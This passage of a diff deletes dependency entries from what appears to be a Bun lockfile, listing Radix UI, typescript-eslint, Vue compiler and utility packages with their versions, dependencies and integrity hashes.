"sha512-72F2T+PLlphrqLcAotYPp0uJMr5SjP5SL01wfEspJbru5Zs5vQaSHb4VB3ZMJPimgHHCHG7gMOeOB9H3Hdmtxg=="],
-
- "@radix-ui/react-popper": ["@radix-ui/react-popper@1.2.8", "", { "dependencies": { "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-rect": "1.1.1", "@radix-ui/react-use-size": "1.1.1", "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw=="],
-
- "@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.9", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ=="],
-
- "@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.5", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ=="],
-
- "@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.3", "", { "dependencies": { "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ=="],
-
- "@radix-ui/react-radio-group": ["@radix-ui/react-radio-group@1.3.8", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-roving-focus": "1.1.11", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-use-size": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-VBKYIYImA5zsxACdisNQ3BjCBfmbGH3kQlnFVqlWU4tXwjy7cGX8ta80BcrO+WJXIn5iBylEH3K6ZTlee//lgQ=="],
-
- "@radix-ui/react-roving-focus": ["@radix-ui/react-roving-focus@1.1.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA=="],
-
- "@radix-ui/react-select": ["@radix-ui/react-select@2.2.6", "", { "dependencies": { "@radix-ui/number": "1.1.1", "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-popper": "1.2.8", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-visually-hidden": "1.2.3", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-I30RydO+bnn2PQztvo25tswPH+wFBjehVGtmagkU78yMdwTwVf12wnAOF+AeP8S2N8xD+5UPbGhkUfPyvT+mwQ=="],
-
- "@radix-ui/react-separator": ["@radix-ui/react-separator@1.1.8", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-sDvqVY4itsKwwSMEe0jtKgfTh+72Sy3gPmQpjqcQneqQ4PFmr/1I0YA+2/puilhggCe2gJcx5EBAYFkWkdpa5g=="],
-
- "@radix-ui/react-slider": ["@radix-ui/react-slider@1.3.6", "", { "dependencies": { "@radix-ui/number": "1.1.1", "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-use-size": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-JPYb1GuM1bxfjMRlNLE+BcmBC8onfCi60Blk7OBqi2MLTFdS+8401U4uFjnwkOr49BLmXxLC6JHkvAsx5OJvHw=="],
-
- "@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.4", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA=="],
-
- "@radix-ui/react-switch": ["@radix-ui/react-switch@1.2.6", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-use-size": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-bByzr1+ep1zk4VubeEVViV592vu2lHE2BZY5OnzehZqOOgogN80+mNtCqPkhn2gklJqOpxWgPoYTSnhBCqpOXQ=="],
-
- "@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg=="],
-
- "@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.2", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg=="],
-
- "@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA=="],
-
- "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="],
-
- "@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="],
-
- "@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="],
-
- "@radix-ui/react-use-rect": ["@radix-ui/react-use-rect@1.1.1", "", { "dependencies": { "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w=="],
-
- "@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ=="],
-
- "@radix-ui/react-visually-hidden": ["@radix-ui/react-visually-hidden@1.2.3", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug=="],
-
- "@radix-ui/rect": ["@radix-ui/rect@1.1.1", "", {}, "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw=="],
-
- "@rtsao/scc": ["@rtsao/scc@1.1.0", "", {}, "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g=="],
-
- "@rushstack/eslint-patch": ["@rushstack/eslint-patch@1.16.1", "", {}, "sha512-TvZbIpeKqGQQ7X0zSCvPH9riMSFQFSggnfBjFZ1mEoILW+UuXCKwOoPcgjMwiUtRqFZ8jWhPJc4um14vC6I4ag=="],
-
- "@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="],
-
- "@swc/helpers": ["@swc/helpers@0.5.15", "", { "dependencies": { "tslib": "^2.8.0" } }, "sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g=="],
-
- "@types/json5": ["@types/json5@0.0.29", "", {}, "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ=="],
-
- "@types/minimatch": ["@types/minimatch@3.0.5", "", {}, "sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ=="],
-
- "@types/node": ["@types/node@20.19.39", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-orrrD74MBUyK8jOAD/r0+lfa1I2MO6I+vAkmAWzMYbCcgrN4lCrmK52gRFQq/JRxfYPfonkr4b0jcY7Olqdqbw=="],
-
- "@types/parse-json": ["@types/parse-json@4.0.2", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="],
-
- "@types/react": ["@types/react@19.2.14", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w=="],
-
- "@types/react-dom": ["@types/react-dom@19.2.3", "", { "peerDependencies": { "@types/react": "^19.2.0" } }, "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ=="],
-
- "@typescript-eslint/eslint-plugin": ["@typescript-eslint/eslint-plugin@8.58.2", "", { "dependencies": { "@eslint-community/regexpp": "^4.12.2", "@typescript-eslint/scope-manager": "8.58.2", "@typescript-eslint/type-utils": "8.58.2", "@typescript-eslint/utils": "8.58.2", "@typescript-eslint/visitor-keys": "8.58.2", "ignore": "^7.0.5", "natural-compare": "^1.4.0", "ts-api-utils": "^2.5.0" }, "peerDependencies": { "@typescript-eslint/parser": "^8.58.2", "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", "typescript": ">=4.8.4 <6.1.0" } }, "sha512-aC2qc5thQahutKjP+cl8cgN9DWe3ZUqVko30CMSZHnFEHyhOYoZSzkGtAI2mcwZ38xeImDucI4dnqsHiOYuuCw=="],
-
- "@typescript-eslint/parser": ["@typescript-eslint/parser@8.58.2", "", { "dependencies": { "@typescript-eslint/scope-manager": "8.58.2", "@typescript-eslint/types": "8.58.2", "@typescript-eslint/typescript-estree": "8.58.2", "@typescript-eslint/visitor-keys": "8.58.2", "debug": "^4.4.3" }, "peerDependencies": { "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", "typescript": ">=4.8.4 <6.1.0" } }, "sha512-/Zb/xaIDfxeJnvishjGdcR4jmr7S+bda8PKNhRGdljDM+elXhlvN0FyPSsMnLmJUrVG9aPO6dof80wjMawsASg=="],
-
- "@typescript-eslint/project-service": ["@typescript-eslint/project-service@8.58.2", "", { "dependencies": { "@typescript-eslint/tsconfig-utils": "^8.58.2", "@typescript-eslint/types": "^8.58.2", "debug": "^4.4.3" }, "peerDependencies": { "typescript": ">=4.8.4 <6.1.0" } }, "sha512-Cq6UfpZZk15+r87BkIh5rDpi38W4b+Sjnb8wQCPPDDweS/LRCFjCyViEbzHk5Ck3f2QDfgmlxqSa7S7clDtlfg=="],
-
- "@typescript-eslint/scope-manager": ["@typescript-eslint/scope-manager@8.58.2", "", { "dependencies": { "@typescript-eslint/types": "8.58.2", "@typescript-eslint/visitor-keys": "8.58.2" } }, "sha512-SgmyvDPexWETQek+qzZnrG6844IaO02UVyOLhI4wpo82dpZJY9+6YZCKAMFzXb7qhx37mFK1QcPQ18tud+vo6Q=="],
-
- "@typescript-eslint/tsconfig-utils": ["@typescript-eslint/tsconfig-utils@8.58.2", "", { "peerDependencies": { "typescript": ">=4.8.4 <6.1.0" } }, "sha512-3SR+RukipDvkkKp/d0jP0dyzuls3DbGmwDpVEc5wqk5f38KFThakqAAO0XMirWAE+kT00oTauTbzMFGPoAzB0A=="],
-
- "@typescript-eslint/type-utils": ["@typescript-eslint/type-utils@8.58.2", "", { "dependencies": { "@typescript-eslint/types": "8.58.2", "@typescript-eslint/typescript-estree": "8.58.2", "@typescript-eslint/utils": "8.58.2", "debug": "^4.4.3", "ts-api-utils": "^2.5.0" }, "peerDependencies": { "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", "typescript": ">=4.8.4 <6.1.0" } }, "sha512-Z7EloNR/B389FvabdGeTo2XMs4W9TjtPiO9DAsmT0yom0bwlPyRjkJ1uCdW1DvrrrYP50AJZ9Xc3sByZA9+dcg=="],
-
- "@typescript-eslint/types": ["@typescript-eslint/types@8.58.2", "", {}, "sha512-9TukXyATBQf/Jq9AMQXfvurk+G5R2MwfqQGDR2GzGz28HvY/lXNKGhkY+6IOubwcquikWk5cjlgPvD2uAA7htQ=="],
-
- "@typescript-eslint/typescript-estree": ["@typescript-eslint/typescript-estree@8.58.2", "", { "dependencies": { "@typescript-eslint/project-service": "8.58.2", "@typescript-eslint/tsconfig-utils": "8.58.2", "@typescript-eslint/types": "8.58.2", "@typescript-eslint/visitor-keys": "8.58.2", "debug": "^4.4.3", "minimatch": "^10.2.2", "semver": "^7.7.3", "tinyglobby": "^0.2.15", "ts-api-utils": "^2.5.0" }, "peerDependencies": { "typescript": ">=4.8.4 <6.1.0" } }, "sha512-ELGuoofuhhoCvNbQjFFiobFcGgcDCEm0ThWdmO4Z0UzLqPXS3KFvnEZ+SHewwOYHjM09tkzOWXNTv9u6Gqtyuw=="],
-
- "@typescript-eslint/utils": ["@typescript-eslint/utils@8.58.2", "", { "dependencies": { "@eslint-community/eslint-utils": "^4.9.1", "@typescript-eslint/scope-manager": "8.58.2", "@typescript-eslint/types": "8.58.2", "@typescript-eslint/typescript-estree": "8.58.2" }, "peerDependencies": { "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", "typescript": ">=4.8.4 <6.1.0" } }, "sha512-QZfjHNEzPY8+l0+fIXMvuQ2sJlplB4zgDZvA+NmvZsZv3EQwOcc1DuIU1VJUTWZ/RKouBMhDyNaBMx4sWvrzRA=="],
-
- "@typescript-eslint/visitor-keys": ["@typescript-eslint/visitor-keys@8.58.2", "", { "dependencies": { "@typescript-eslint/types": "8.58.2", "eslint-visitor-keys": "^5.0.0" } }, "sha512-f1WO2Lx8a9t8DARmcWAUPJbu0G20bJlj8L4z72K00TMeJAoyLr/tHhI/pzYBLrR4dXWkcxO1cWYZEOX8DKHTqA=="],
-
- "@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="],
-
- "@vue/compiler-core": ["@vue/compiler-core@3.5.32", "", { "dependencies": { "@babel/parser": "^7.29.2", "@vue/shared": "3.5.32", "entities": "^7.0.1", "estree-walker": "^2.0.2", "source-map-js": "^1.2.1" } }, "sha512-4x74Tbtqnda8s/NSD6e1Dr5p1c8HdMU5RWSjMSUzb8RTcUQqevDCxVAitcLBKT+ie3o0Dl9crc/S/opJM7qBGQ=="],
-
- "@vue/compiler-dom": ["@vue/compiler-dom@3.5.32", "", { "dependencies": { "@vue/compiler-core": "3.5.32", "@vue/shared": "3.5.32" } }, "sha512-ybHAu70NtiEI1fvAUz3oXZqkUYEe5J98GjMDpTGl5iHb0T15wQYLR4wE3h9xfuTNA+Cm2f4czfe8B4s+CCH57Q=="],
-
- "@vue/compiler-sfc": ["@vue/compiler-sfc@3.5.32", "", { "dependencies": { "@babel/parser": "^7.29.2", "@vue/compiler-core": "3.5.32", "@vue/compiler-dom": "3.5.32", "@vue/compiler-ssr": "3.5.32", "@vue/shared": "3.5.32", "estree-walker": "^2.0.2", "magic-string": "^0.30.21", "postcss": "^8.5.8", "source-map-js": "^1.2.1" } }, "sha512-8UYUYo71cP/0YHMO814TRZlPuUUw3oifHuMR7Wp9SNoRSrxRQnhMLNlCeaODNn6kNTJsjFoQ/kqIj4qGvya4Xg=="],
-
- "@vue/compiler-ssr": ["@vue/compiler-ssr@3.5.32", "", { "dependencies": { "@vue/compiler-dom": "3.5.32", "@vue/shared": "3.5.32" } }, "sha512-Gp4gTs22T3DgRotZ8aA/6m2jMR+GMztvBXUBEUOYOcST+giyGWJ4WvFd7QLHBkzTxkfOt8IELKNdpzITLbA2rw=="],
-
- "@vue/shared": ["@vue/shared@3.5.32", "", {}, "sha512-ksNyrmRQzWJJ8n3cRDuSF7zNNontuJg1YHnmWRJd2AMu8Ij2bqwiiri2lH5rHtYPZjj4STkNcgcmiQqlOjiYGg=="],
-
- "acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="],
-
- "acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="],
-
- "ajv": ["ajv@6.14.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw=="],
-
- "ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="],
-
- "ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="],
-
- "any-promise": ["any-promise@1.3.0", "", {}, "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A=="],
-
- "anymatch": ["anymatch@3.1.3", "", { "dependencies": { "normalize-path": "^3.0.0", "picomatch": "^2.0.4" } }, "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw=="],
-
- "arg": ["arg@5.0.2", "", {}, "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="],
-
- "argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="],
-
- "aria-hidden": ["aria-hidden@1.2.4", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-y+CcFFwelSXpLZk/7fMB2mUbGtX9lKycf1MWJ7CaTIERyitVlyQx6C+sxcROU2BAJ24OiZyK+8wj2i8AlBoS3A=="],
-
- "aria-query": ["aria-query@5.3.2", "", {}, "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw=="],
-
- "array-buffer-byte-length": ["array-buffer-byte-length@1.0.2", "", { "dependencies": { "call-bound": "^1.0.3", "is-array-buffer": "^3.0.5" } }, "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw=="],
-
- "array-differ": ["array-differ@3.0.0", "", {}, "sha512-THtfYS6KtME/yIAhKjZ2ul7XI96lQGHRputJQHO80LAWQnuGP4iCIN8vdMRboGbIEYBwU33q8Tch1os2+X0kMg=="],
-
- "array-includes": ["array-includes@3.1.9", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.4", "define-properties": "^1.2.1", "es-abstract": "^1.24.0", "es-object-atoms": "^1.1.1", "get-intrinsic": "^1.3.0", "is-string": "^1.1.1", "math-intrinsics": "^1.1.0" } }, "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ=="],
-
- "array-union": ["array-union@2.1.0", "", {}, "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw=="],
-
- "array.prototype.findlast": ["array.prototype.findlast@1.2.5", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.2", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-shim-unscopables": "^1.0.2" } }, "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ=="],
-
- "array.prototype.findlastindex": ["array.prototype.findlastindex@1.2.6", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.4", "define-properties": "^1.2.1", "es-abstract": "^1.23.9", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "es-shim-unscopables": "^1.1.0" } }, "sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ=="],
-
- "array.prototype.flat": ["array.prototype.flat@1.3.3", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-abstract": "^1.23.5", "es-shim-unscopables": "^1.0.2" } }, "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg=="],
-
